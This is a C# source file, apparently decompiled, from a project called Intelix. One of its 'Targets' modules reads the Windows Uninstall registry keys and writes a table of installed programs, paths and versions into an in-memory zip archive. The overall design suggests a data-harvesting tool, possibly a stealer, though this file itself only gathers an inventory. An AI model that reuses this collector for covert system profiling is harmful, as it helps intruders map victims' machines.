78 lines
2.9 KiB
C#
78 lines
2.9 KiB
C#
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using System;
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using System.Collections.Concurrent;
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using System.Collections.Generic;
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using System.Linq;
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using System.Threading.Tasks;
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using Intelix.Helper.Data;
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using Microsoft.Win32;
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namespace Intelix.Targets.Device;
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public class InstalledPrograms : ITarget
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{
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private class InstalledProgram
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{
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public string Name { get; set; }
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public string Version { get; set; }
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public string InstallLocation { get; set; }
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}
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public void Collect(InMemoryZip zip, Counter counter)
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{
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List<InstalledProgram> list = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }.SelectMany((string key) => GetInstalledPrograms(key, Registry.LocalMachine, counter).Concat(GetInstalledPrograms(key, Registry.CurrentUser, counter))).ToList();
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if (list.Count != 0)
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{
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int maxName = Math.Max("Name".Length, list.Max((InstalledProgram p) => p.Name?.Length ?? 0));
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int maxVersion = Math.Max("Version".Length, list.Max((InstalledProgram p) => p.Version?.Length ?? 0));
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int maxPath = Math.Max("Path".Length, list.Max((InstalledProgram p) => p.InstallLocation?.Length ?? 0));
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List<string> list2 = new List<string>();
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list2.Add("Name".PadRight(maxName) + " | " + "Path".PadRight(maxPath) + " | " + "Version".PadRight(maxVersion));
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list2.Add(new string('-', maxName + maxPath + maxVersion + 6));
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List<string> list3 = list2;
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list3.AddRange(list.Select((InstalledProgram p) => (p.Name ?? "Unknown").PadRight(maxName) + " | " + (p.InstallLocation ?? "Unknown").PadRight(maxPath) + " | " + (p.Version ?? "Unknown").PadRight(maxVersion)));
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zip.AddTextFile("InstalledPrograms.txt", string.Join("\n", list3));
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}
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}
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private static List<InstalledProgram> GetInstalledPrograms(string uninstallKey, RegistryKey root, Counter counter)
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{
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ConcurrentBag<InstalledProgram> installedPrograms = new ConcurrentBag<InstalledProgram>();
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using (RegistryKey registryKey = root.OpenSubKey(uninstallKey))
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{
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if (registryKey == null)
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{
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return new List<InstalledProgram>();
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}
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string[] subKeyNames = registryKey.GetSubKeyNames();
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if (subKeyNames == null || subKeyNames.Length == 0)
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{
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return new List<InstalledProgram>();
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}
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Parallel.ForEach(subKeyNames, delegate(string subkeyName)
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{
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try
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{
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using RegistryKey registryKey2 = root.OpenSubKey(uninstallKey + "\\" + subkeyName);
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string text = registryKey2?.GetValue("DisplayName") as string;
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if (!string.IsNullOrEmpty(text))
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{
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InstalledProgram item = new InstalledProgram
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{
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Name = text.Trim(),
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Version = ((registryKey2.GetValue("DisplayVersion") as string) ?? "Unknown"),
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InstallLocation = ((registryKey2.GetValue("InstallLocation") as string) ?? "Unknown")
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};
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installedPrograms.Add(item);
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}
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}
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catch
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{
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}
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});
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}
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return installedPrograms.ToList();
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}
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}
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